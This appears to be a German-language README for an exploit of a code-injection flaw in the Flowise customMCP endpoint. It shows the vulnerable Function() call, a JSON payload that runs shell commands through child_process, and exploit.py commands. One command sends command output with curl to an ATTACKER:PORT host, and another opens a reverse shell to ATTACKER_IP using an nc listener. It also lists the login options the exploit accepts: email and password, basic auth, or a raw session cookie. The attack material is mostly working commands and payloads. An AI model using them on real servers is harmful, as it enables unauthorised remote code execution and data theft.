function convertToValidJSONString(inputString) {
    return Function('return ' + inputString)();  // ← beliebige Codeausführung
}

HTTP POST → /api/v1/node-load-method/customMCP
  → controller.getSingleNodeAsyncOptions()
    → service layer
      → CustomMCP.listActions()
        → convertToValidJSONString(mcpServerConfig)  // Function('return ' + userInput)()

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
  }
}

pip install requests

python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

# Ausgabe per Callback exfiltrieren
python3 exploit.py -t http://target:3000 --mode exec \
  -c "curl http://ATTACKER:PORT/\$(id | base64)" \
  --email [email protected] --password pass

# Listener starten
nc -lvnp 4444

# Exploit ausführen (versucht automatisch bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
  --lhost ATTACKER_IP --lport 4444 \
  --email [email protected] --password pass

# JWT-Auth (Flowise >= 3.0.1)
--email [email protected] --password pass

# Basic Auth (Flowise < 3.0.1 mit FLOWISE_USERNAME-Umgebungsvariable)
--username admin --password pass

# Raw-Cookie-String (Fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."